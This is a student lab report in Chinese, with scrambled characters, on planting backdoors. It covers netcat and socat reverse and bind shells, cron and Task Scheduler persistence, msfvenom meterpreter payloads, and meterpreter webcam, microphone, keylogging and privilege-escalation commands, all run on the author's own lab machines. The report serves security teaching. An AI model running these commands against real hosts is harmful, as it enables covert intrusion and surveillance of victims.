1、实验内容说明及基础问题回答
2、工具准备linux
3、实验过程web
4、问题与思考
shell
一、实验内容
(1)使用netcat获取主机操做Shell,cron启动 (0.5分)windows
(2)使用socat获取主机操做Shell, 任务计划启动 (0.5分)网络
(3)使用MSF meterpreter(或其余软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)tcp
(4)使用MSF meterpreter(或其余软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)编辑器
(5)可选加份内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹链接Shell(1分)加份内容一并写入本实验报告。工具
二、基础问题回答
1)例举你能想到的一个后门进入到你系统中的可能方式?ui
(2)例举你知道的后门如何启动起来(win及linux)的方式?命令行
(3)Meterpreter有哪些给你映像深入的功能?
(4)如何发现本身有系统有没有被安装后门?
Windows下用命令ipconfig
Linux下用ifconfig
使用ncat程序,输入ncat.exe -l -p 5226
监听本机5226端口
在kali中使用nc指令的-e
选项,输入nc 172.30.2.26 5226 -e /bin/sh
反向链接Windows主机的5226端口
在Windows端,得到kali的shell
使用nc
指令监听5226
端口
在Windows下,使用ncat.exe
程序的-e
选项反向链接kali主机的5226
端口
此时kali能够看到Windows的命令提示,能够输入相关Windows命令(此处输入的是dir
)
Windows监听5226
端口
Kali下链接到Windows的5226
端口
创建链接后传输数据
使用netcat获取主机操做Shell,cron启动
在Windows下监听5226
端口
在kali中,用crontab -e
编辑一条定时任务,选择编辑器3
在最后一行添加30 * * * * /bin/netcat 172.30.2.26 5226 -e /bin/sh
,意思是在每小时的第30分钟反向链接Windows主机的5226
端口
时间到了23:30时,已经得到kali的shell,能够输入指令
使用socat获取主机操做Shell, 任务计划启动
socat
是ncat
的加强版,它使用的格式是socat [options] <address> <address>
,其中两个address是必选项,而options 是可选项。
socat的基本功能就是创建两个双向的字节流,数据就在其间传输,参数address就是表明了其中的一个方向。所谓流,表明了数据的流向,而数据则能够有许多不一样的类型,命令中也就相应须要许多选项对各类不一样的类型数据流进行限定与说明。
在win10系统下,右击屏幕左下角windows图标,选择“计算机管理”(或者直接搜索“计算机管理”)
在任务计划程序建立任务,填写任务名称,并新建一个触发器
在操做->程序或脚本中选择你的socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5226 exec:cmd.exe,pty,stderr
,这个命令的做用是把cmd.exe
绑定到端口5226
,同时把cmd.exe
的stderr
重定向到stdout
上
建立完成以后,按Windows+L快捷键锁定计算机,再次打开时,找到你建立的任务双击后,能够发现以前建立的任务已经开始运行
此时,在Kali环境下输入指令socat - tcp:172.30.2.26:5226
,这里的第一个参数-
表明标准的输入输出,第二个流链接到Windows主机的5226端口,此时能够发现已经成功得到了一个cmd shell
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.170.130 LPORT=5226 -f exe > 20165226_backdoor.exe
生成后门程序
注意此时IP地址为LinuxIP
ncat.exe -lv 5226 > 20165226_backdoor.exe
,进入接受模式Linux中执行nc 172.30.2.26 5226 < 20165226_backdoor.exe
,注意关闭病毒查杀软件
此时IP地址为主机即WindowsIP
传送接收文件成功
在kali中打开终端,输入msfconsole
指令进入msf控制台
输入use exploit/multi/handler
进入监听模块
输入set payload windows/meterpreter/reverse_tcp
设置payload
依次输入set LHOST 192.168.170.130
和set LPORT 5226
设置IP及端口
注意此时IP地址为LinuxIP,和生成後門程序時指定的IP相同
设置完成,开始监听exlpoit
运行Windows下的后门程序
kali已经得到Windows主机的链接,并获得远程控制的shell
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
使用record_mic
指令能够截获一段音频
使用webcam_snap
指令可使用摄像头进行拍照
使用screenshot
指令能够进行截屏
使用keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
先使用getuid
指令查看当前用户,使用getsystem
指令进行提权
可选加份内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹链接Shell
使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.170.128 LPORT=5226 -x /root/20165226/exp2/pwn1 -f elf > 5226pwn
生成以pwn1模板这个elf文件格式的shellcode文件5226pwn
msfconsole
,进入msf命令行use exploit/multi/handler /*进入handler模式*/ set payload linux/x86/meterpreter/reverse_tcp /*对应生成的后门程序设置payload*/ show options /*查看当前信息状态*/ set LHOST 192.168.170.128 /*设置LHOST,其中ip为攻击者Linux的ip*/ set LPORT 5226 /*设置LPORT*/ exploit /*启动监听*/
在kali中执行pwn2时应先加权限 chmod +x 5226pwn
问题1:kali使用nc反弹链接后主机没有任何显示
问题1解决方案:在空白处输入命令,如ls
等,再回车便可
问题2解决方案:
经过从新查看编辑文件,发现并未写入端口号
因而将最后一行改成
30 * * * * /bin/netcat 172.30.2.26 5226 -e /bin/sh
问题3:在进行第二个socat实验时未成功得到cmd shell
问题3解决方案:经过校对命令行,发现输入命令时将-
和tcp:
连在一块儿了,正确书写为socat - tcp:....
,必定注意之间的空格
问题4:MSF监听时最后没法获取信息
问题4解决方案:发现是在IP设置时出现问题,从新启动终端将步骤从头调试。
返回目录